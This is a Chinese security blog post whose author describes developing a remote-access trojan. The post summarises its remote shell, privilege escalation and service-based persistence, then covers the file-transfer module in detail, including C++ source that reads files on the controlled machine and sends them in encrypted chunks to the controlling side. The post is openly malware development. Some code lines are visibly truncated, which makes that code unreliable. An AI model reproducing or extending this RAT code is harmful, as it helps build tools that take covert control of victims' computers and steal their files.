Eswlnk Blog Eswlnk Blog
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈
  • 注册
  • 登录
首页 › 攻防对抗 › 「深度解析」有关某木马编程解析

「深度解析」有关某木马编程解析

Eswlnk的头像
Eswlnk
2023-09-11 0:38:24
「深度解析」有关某木马编程解析-Eswlnk Blog
智能摘要 AI
本文作者分享了其编写远程控制木马的开发过程,涵盖多个关键技术点,包括远程shell、文件上传下载、权限提升、开机自启等功能。以下是对其内容的总结: 1. **远程Shell功能** - 实现了远程执行命令,通过匿名管道与cmd.exe进程交互。 - 使用作业对象确保当cmd.exe终止时其子进程(如ping)也被终止。 - 网络通信采用自定义协议,通过SHELL_CONNECT和SHELL_EXECUTE包进行交互。 2. **文件上传下载** - 采用分片传输方式,支持大文件传输。 - 使用INFO包传递文件路径及大小,数据通过DATA或TAIL包传输,最终通过CLOSE包结束传输。 3. **权限提升** - 利用COM提升名称技术配合ShellExec方法以管理员权限启动目标程序。 - 通过创建系统服务的方式实现开机自启动,确保程序以

文件上传下载

接下来描述的上传指主控端向被控端上传,下载指主控端从被控端下载。

其实这个组件涉及的知识不是很多,比较重要点的是做好线程间的同步。

一开始不知道这个文件上传怎么实现好,因为如果复用之前的封包架构的话,对于大文件是比较吃力的,因为没有校验机制,而且要自己处理分片,很容易出错。

然后去读了几个木马的源码。实现的方法各不相同。

有一个是用FTP实现的上传下载。原理是主控端开一个FTP服务器,然后被控端使用API实现上传和下载。但是,FTP的账号和密码是写在被控端源码里的。我一头墨水,妥实没想明白,作者是如何保证FTP的账号和密码是如何避免泄露的,这不一逆向就能拿到了吗?

如果账号和密码是动态传输的,需要的时候主控端再临时传给被控端,这样可以避免逆向泄露账号和密码,但是攻击者只需要伪造文件上传的请求,就可以从主控端那里欺骗得到账号和密码了。

还有一个方案是HTTP实现的,这个我感觉比较适合被控端从主控端下载文件,并不适合主控端从被控端下载文件。因为这种方案,同时要在主控端开一个HTTP(S)服务器,用于接收和发送文件,发送文件还好,一直开放着接口进行通信没太大的安全问题,但是接收文件,必须要慎重,如何区分允许哪个被控端是我允许进行向我发送文件的,这个判断是个值得好好规划的问题,HTTP服务器接受匿名的请求,我感觉很难区分不同的被控端。比如说我要从被控端A下载一个文件,此时A向我发送文件,我接收了,同时被控端B是攻击者伪造的,他一直尝试向我发送文件,当我允许A向我传输文件的瞬间,B也向我传输了文件(因为HTTP服务器无法区分不同用户),任意文件上传还是比较可怕的。这一点深深困扰着我。不知道有没有师傅知道怎么避免这一点,还请赐教。

然后又读了下gh0st的源码,它的实现和我最初抛弃的方案是一样的,即直接自己将文件分片,然后压缩,然后直接在网络中传输。(事实上,它的处理更为巧妙。gh0st的作者直接封装了一个底层的Buffer类,这个类封装了一系列的读写操作,文件的读取分片是自动由这个类完成的,分片的大小就是这是Buffer类的缓冲区大小)

最后我还是选择了原有的方案:复用之前的封包框架,手动将文件分片,然后组成封包,加密后传给另一端。由于我这个是AES-128-CFB加密的,所以速度肯定比不过压缩后无加密直接传输的gh0st。

最大测试的文件是4.3GB,传输有点慢,不过最后md5算了下,文件完整性是没问题的。

BOOL WINAPI OnRecvPacketFileDownloadInfo(LPVOID lParam) {
    THREAD_PARAM* pThreadParam = (THREAD_PARAM*)lParam;
    CPacket* pPacket = pThreadParam->m_pPacket;
    CModuleFileDownload* pModuleFileDownload = pThreadParam->m_pModuleFileDownload;
    CSocketClient* pSocketClient = pPacket->m_pSocketClient;

    // 接收到了主控端发来的INFO封包,包体:主控端请求下载的被控端文件的路径(MAX_PATH*2 字节)
    WCHAR pszLocalPath[MAX_PATH];
    memcpy(pModuleFileDownload->m_pszLocalPath, pPacket->m_pbPacketBody, pPacket->m_dwPacketBodyLength);

    if (lParam != nullptr) {
        delete lParam;
        lParam = nullptr;
    }

    if (pPacket != nullptr) {
        delete pPacket;
        pPacket = nullptr;
    }

    // 只有文件存在才打开文件
    pModuleFileDownload->m_hFile = CreateFile(pModuleFileDownload->m_pszLocalPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    // 打开失败
    if (pModuleFileDownload->m_hFile == INVALID_HANDLE_VALUE) {
        // 被控端发往主控端的INFO包体:被控端文件状态(1字节)+ 文件大小(8字节)
        BYTE pbPacketBody[9];
        // TODO 暂时文件打开失败统一状态为0xff, 后续可能会区分文件不存在,文件被占用等不同状态(用GetLastError来实现)
        pbPacketBody[0] = 0xff;            // 0xff表示文件打开失败
        WriteQwordToBuffer(pbPacketBody, 0, 1);
        pSocketClient->SendPacket(FILE_DOWNLOAD_INFO, pbPacketBody, 9);

        pModuleFileDownload->m_hFile = nullptr;
        return false;
    }

    // 获取文件大小
    QWORD qwFileSize = 0;
    DWORD dwFileSizeLowDword = 0;
    DWORD dwFileSizeHighDword = 0;
    dwFileSizeLowDword = GetFileSize(pModuleFileDownload->m_hFile, &dwFileSizeHighDword);
    qwFileSize = (((QWORD)dwFileSizeHighDword) <SendPacket(FILE_DOWNLOAD_INFO, pbPacketBody, 9);


    PBYTE pbBuffer = new BYTE[PACKET_BODY_MAX_LENGTH];
    DWORD dwPacketSplitNum = (qwFileSize % PACKET_BODY_MAX_LENGTH) ? qwFileSize / PACKET_BODY_MAX_LENGTH + 1 : qwFileSize / PACKET_BODY_MAX_LENGTH;
    DWORD dwBytesReadTemp = 0;

    // 上传文件数据
    for (DWORD dwSplitIndex = 0; dwSplitIndex m_hFile, pbBuffer, PACKET_BODY_MAX_LENGTH, &dwBytesReadTemp, NULL);
            pSocketClient->SendPacket(FILE_DOWNLOAD_DATA, pbBuffer, PACKET_BODY_MAX_LENGTH);
        }
        // 最后一个分片
        else {
            DWORD dwReadBytes = qwFileSize % PACKET_BODY_MAX_LENGTH ? qwFileSize % PACKET_BODY_MAX_LENGTH : PACKET_BODY_MAX_LENGTH;
            ReadFile(pModuleFileDownload->m_hFile, pbBuffer, dwReadBytes, &dwBytesReadTemp, NULL);
            pSocketClient->SendPacket(FILE_DOWNLOAD_DATA_TAIL, pbBuffer, dwReadBytes);
        }
        dwBytesReadTemp = 0;
    }
    
    if (pModuleFileDownload->m_hFile != nullptr) {
        CloseHandle(pModuleFileDownload->m_hFile);
        pModuleFileDownload->m_hFile = nullptr;
    }
    

    if (pbBuffer != nullptr) {
        delete[] pbBuffer;
        pbBuffer = nullptr;
    }

    pSocketClient->SendPacket(FILE_DOWNLOAD_CLOSE, NULL, 0);

    WaitForSingleObject(pModuleFileDownload->m_hRecvPacketFileDownloadCloseEvent, INFINITE);

    if (pModuleFileDownload != nullptr) {
        delete pModuleFileDownload;
        pModuleFileDownload = nullptr;
    }

    return true;
}

结束语

本文主要说了些思路,很多具体的实现没有深入说明,具体的可以去源码中看。

水平有限,请师傅们批评指正。

1 2 3 4
本站默认网盘访问密码:1166
本站默认网盘访问密码:1166
声明:本站原创文章文字版权归本站所有,转载务必注明作者和出处;本站转载文章仅仅代表原作者观点,不代表本站立场,图文版权归原作者所有。如有侵权,请联系我们删除。
backdoor加密加载器后门安全渗透分析远控
0
0
Eswlnk的头像
Eswlnk
一个有点倒霉的研究牲站长
赞赏
2021数字中国创新大赛虎符网络安全赛道
上一篇
「威胁情报」新一波恶意 npm 软件包威胁 Kubernetes 配置和 SSH 密钥
下一篇

评论 (0)

请登录以参与评论
现在登录
    发表评论

猜你喜欢

  • 「漏洞资讯」CVE-2025-12914:宝塔面板曝出注入漏洞
  • 今日热点:伪Clash软件下载陷阱曝光,附防范建议
  • 漏洞资讯:Ollama 未授权访问漏洞分析与防护指南
  • 「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制
  • 「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程
Eswlnk的头像

Eswlnk

一个有点倒霉的研究牲站长
1109
文章
321
评论
682
获赞

随便看看

360沙箱云升级 Android 检测功能
2023-02-16 19:24:46
宝塔面板疑似出现Nginx中毒升级版漏洞?
2023-08-03 21:16:39
实现处理敏感函数过国内主流杀软
2022-06-13 21:44:20

文章目录

专题展示

WordPress53

工程实践37

热门标签

360 AI API CDN java linux Nginx PDF PHP python SEO Windows WordPress 云服务器 云服务器知识 代码 免费 安全 安卓 工具 开发日志 微信 微软 手机 插件 攻防 攻防对抗 教程 日志 渗透分析 源码 漏洞 电脑 破解 系统 编程 网站优化 网络 网络安全 脚本 苹果 谷歌 软件 运维 逆向
  • 首页
  • 知识库
  • 地图
Copyright © 2023-2026 Eswlnk Blog. Designed by XiaoWu.
本站CDN由 壹盾安全 提供高防CDN安全防护服务
蜀ICP备20002650号-10
页面生成用时 0.542 秒   |  SQL查询 26 次
本站勉强运行:
友情链接: Eswlnk Blog 网站渗透 倦意博客 特资啦!个人资源分享站 祭夜博客 iBAAO壹宝头条
  • WordPress142
  • 网络安全64
  • 漏洞52
  • 软件52
  • 安全48
现在登录
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈